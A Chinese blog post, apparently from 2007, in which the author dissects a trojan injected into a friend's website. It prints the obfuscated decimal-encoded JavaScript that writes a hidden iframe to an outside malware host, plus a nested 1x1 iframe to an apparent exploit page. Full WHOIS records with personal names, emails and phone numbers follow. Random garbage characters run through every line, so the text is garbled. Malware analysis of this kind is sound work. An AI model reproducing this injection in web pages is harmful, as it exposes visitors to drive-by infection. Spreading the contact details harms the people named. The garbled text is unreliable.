首发在我的博客里面，
=,0E3:X^ BB|{VwN http://www.areway.cn/?p=175 m?M(79u[ 3'.OghI 0 1w=;Q 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
|u$AzI }]n&" =Zk- <script>t=’60,105,102,114,97,109,101,
uF^ +}Y ZT 32,115,114,99,61,104,116,116,112,58,47,47,
a)Wf* <B 102,114,101,101,46,117,45,117,117,117,46,99,
2r*
o 110,47,101,114,114,111,114,46,104,116,109,
Pq_Il9 32,119,105,100,116,104,61,49,48,48,32,104,
kYR&t}jlCg 101,105,103,104,116,61,48,62,60,47,105,102,
4&$G;?#W2 114,97,109,101,62′;
"3hw]`a} t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
#lB[]2]N ?>A hC{ <script>t=’60,105,102,114,97,109,101,32,115,
Gwv s~jN 114,99,61,104,116,116,112,58,47,47,102,114,
WV&BZ:H 101,101,46,117,45,117,117,117,46,99,110,47,
hU4~`g p 101,114,114,111,114,46,104,116,109,32,119,
s]2 k@3|e 105,100,116,104,61,49,48,48,32,104,101,105,
atN`w=6A` 103,104,116,61,48,62,60,47,105,102,114,97,
-)$)< k 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
:))AZ7_ document.write(t);</script>
h 1Q7(8=Eg zD?$O7
|ZK <html xmlns=”
Xbu >8d?n http://www.w3.org/1999/xhtml s!+?) bB “>
tSO F7N/< <head>
I &m~ cBj< <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
mS );bs <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
0` S!+d <title>首页 - 爱生活家庭网
p@Qzg
/X <4! w2vxG 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
Y@r#:BH ) 转换字符串后的大概内容是（谁点击后果自付）：
m|-O /6~ <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
{Qhv HV V K NC K 查询玉米u-uuu.cn的详细信息：
Lv_6Mf( Domain Name: u-uuu.cn
:#gz)r ROID: 20070901s10001s64972306-cn
RL&*.r& Domain Status: ok
@lj Registrant Organization: 王雷
J%[K;WjrZJ Registrant Name: 王雷
Z4(2&t ^ Administrative Email:
czlovexs@126.com P!vB S "S Sponsoring Registrar: 北京万网志成科技有限公司
2>H\arEstR Name Server:ns.yovole.com
pw$I~3OFd Name Server:ns1.yovole.com
hwXp=not( Registration Date: 2007-09-01 17:54
{2q Expiration Date: 2008-09-01 17:54
"@f`O 最后PING了一下地址 都没有什么….
oF*Y$OEu?c 2R5]UR S 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
0<s)xaN>Y <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
c {852R <script language=”javascript” src=”
a;h:o>Do5 http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script Us%VB q >
pa\]@;P1 这个玉米应该有可能是木马作者的：
dIf Jr }ih foafau.info的详细信息：
- jyD!( Access to INFO WHOIS information is provided to assist persons in
ZPMEN,Dw determining the contents of a domain name registration record in the
t7~mW$}O Afilias registry database. The data in this record is provided by
Q2NS> [ Afilias Limited for informational purposes only, and Afilias does not
qQom=x guarantee its accuracy. This service is intended only for query-based
p,4z;.s$ access. You agree that you will use this data only for lawful purposes
|Jq/kmn and that, under no circumstances will you use this data to: (a) allow,
Dnp^yqz* enable, or otherwise support the transmission by e-mail, telephone, or
&R8zuD`# facsimile of mass unsolicited, commercial advertising or solicitations
C2b.([HE to entities other than the data recipient’s own existing customers; or
Z os~1N]3 (b) enable high volume, automated, electronic processes that send
-,i1T(p1 queries or data to the systems of Registry Operator, a Registrar, or
("TI ~ Afilias except as reasonably necessary to register domain names or
mj,r@@k:=+ modify existing registrations. All rights reserved. Afilias reserves
hm5<_(F! the right to modify these terms at any time. By submitting this query,
JZ <O- G+ you agree to abide by this policy.
:J<S-d= Domain ID:D22418703-LRMS
-meKaQv Domain Name:FOAFAU.INFO
[lnN~#(Y Created On:20-Nov-2007 16:05:42 UTC
x7*}4>|W,I Last Updated On:20-Nov-2007 16:05:44 UTC
59ivL6=3 Expiration Date:20-Nov-2008 16:05:42 UTC
F0|T%!FB>% Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
Y Jv{Z^;M Status:CLIENT DELETE PROHIBITED
1XZ&X] Status:CLIENT RENEW PROHIBITED
B02~/9*Y" Status:CLIENT TRANSFER PROHIBITED
pG4 Hy $e Status:CLIENT UPDATE PROHIBITED
.O,gl$y} Status:TRANSFER PROHIBITED
t = pG6U Registrant ID:GODA-040110615
a{8GT2h`4 Registrant Name:liu hong
*;}! WDr Registrant Organization:
OI-%Ig%C#l Registrant Street1:beijing
`hfwZ*s Registrant Street2:
?Cu$qE!h)[ Registrant Street3:
x##Iv|$ Registrant City:beijing
z* `8 1 Registrant State/Province:
8+!$k!=X Registrant Postal Code:100000
\
0CGS Registrant Country:CN
\twlHj4 Registrant Phone:+86.860108888777
MKH7d/x Registrant Phone Ext.:
N@)g3mX> Registrant FAX:
F{}z[0 Registrant FAX Ext.:
Z c"]Cv( Registrant Email:bbbshiji@163.com
i&l$G5 5F Admin ID:GODA-240110615
:4 ;>). Admin Name:liu hong
c"QI `;D_c Admin Organization:
zxj!ihs< Admin Street1:beijing
=B/^c>w2 Admin Street2:
m\V J= Admin Street3:
%%f= aPw Admin City:beijing
bc 0 |tJc Admin State/Province:
B8P%4@T Admin Postal Code:100000
O
,DX%wk, Admin Country:CN
M 35}5 + Admin Phone:+86.860108888777
8C YJR/ Admin Phone Ext.:
vCi:c Ip/ Admin FAX:
Q;Oc#
u Admin FAX Ext.:
K@d`jb4T Admin Email:bbbshiji@163.com
YV2^eG r. Billing ID:GODA-340110615
NyGF57 v[M Billing Name:liu hong
m4 %m0"Z Billing Organization:
D_8hn3FH Billing Street1:beijing
nbYaYL?& Billing Street2:
u!X 2ju< Billing Street3:
Mr&]RTEE Billing City:beijing
P]y 5E9 k Billing State/Province:
FT B"C[> Billing Postal Code:100000
:b
;5O3:B Billing Country:CN
! X,S2-}" Billing Phone:+86.860108888777
!KF;Z|_(I Billing Phone Ext.:
uIba{9tM"P Billing FAX:
Ea3tF0{ Billing FAX Ext.:
me9R nPe: Billing Email:bbbshiji@163.com
k20 H|@g2 Tech ID:GODA-140110615
w68qyG|wM Tech Name:liu hong
t ?{ B* Tech Organization:
8cd ,SQ}y Tech Street1:beijing
|W::\yu6 Tech Street2:
/
)EB~|4'] Tech Street3:
"5e]- u' Tech City:beijing
0(..]\p^ d Tech State/Province:
jrW7AT)\ Tech Postal Code:100000
[F>zM Tech Country:CN
4 $;fj1!Z: Tech Phone:+86.860108888777
L Y M` Tech Phone Ext.:
n^A=ar. Tech FAX:
.3Ap+V8? Tech FAX Ext.:
nd?m+C&W Tech Email:bbbshiji@163.com
:_^YEm+A Name Server:NS27.DOMAINCONTROL.COM
|n~v_V2.0 Name Server:NS28.DOMAINCONTROL.COM
g>Z1ZK0;M Name Server:
%W c-.E R Name Server:
!]`]67lC Name Server:
LQS*/s0 Name Server:
SrKF\h%/+ Name Server:
K}zw%!ex Name Server:
k{;:KW| Name Server:
UC0 yrV Name Server:
M\]E;C'"U Name Server:
Ky=&C8b< Name Server:
I/ (`<s p Name Server:
<9Ch kb|B 7Jqp 2\ 接着下载每个文件里面的代码：
]f\rB8k|& 一步一步看..
''(T3;^ +
} Jc^p 
6-^+btl)# 
)Qo6bei! 
x_Z~k 
cEN^H 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
